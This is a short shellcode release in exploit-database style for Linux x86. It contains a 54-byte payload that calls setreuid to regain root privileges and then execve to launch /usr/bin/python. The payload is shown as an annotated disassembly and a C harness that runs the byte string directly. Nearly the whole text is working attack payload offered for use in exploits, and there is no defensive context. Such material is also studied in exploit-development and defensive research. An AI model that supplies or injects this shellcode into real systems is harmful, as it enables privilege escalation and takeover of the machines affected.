/*
# Title: Shellcode Linux x86 [54Bytes] Run /usr/bin/python | setreuid(),execve()
# Date: 8/5/2014
# Author: Ali Razmjoo
# Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]
*/
/*
Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
Shellcode Linux x86 Run /usr/bin/python | setreuid(),execve()
Shellcode Length: 54
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: b0 46 mov $0x46,%al
4: 31 db xor %ebx,%ebx
6: 31 c9 xor %ecx,%ecx
8: cd 80 int $0x80
a: eb 16 jmp 22 <last>
0000000c <first>:
c: 5b pop %ebx
d: 31 c0 xor %eax,%eax
f: 88 43 0f mov %al,0xf(%ebx)
12: 89 5b 10 mov %ebx,0x10(%ebx)
15: 89 43 14 mov %eax,0x14(%ebx)
18: b0 0b mov $0xb,%al
1a: 8d 4b 10 lea 0x10(%ebx),%ecx
1d: 8d 53 14 lea 0x14(%ebx),%edx
20: cd 80 int $0x80
00000022 <last>:
22: e8 e5 ff ff ff call c <first>
27: 2f das
28: 75 73 jne 9d <last+0x7b>
2a: 72 2f jb 5b <last+0x39>
2c: 62 69 6e bound %ebp,0x6e(%ecx)
2f: 2f das
30: 70 79 jo ab <last+0x89>
32: 74 68 je 9c <last+0x7a>
34: 6f outsl %ds:(%esi),(%dx)
35: 6e outsb %ds:(%esi),(%dx)
*/
#include <stdio.h>
#include <string.h>
char sc[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e";
int main(void)
{
fprintf(stdout,"Length: %d\n\n",strlen(sc));
(*(void(*)()) sc)();
}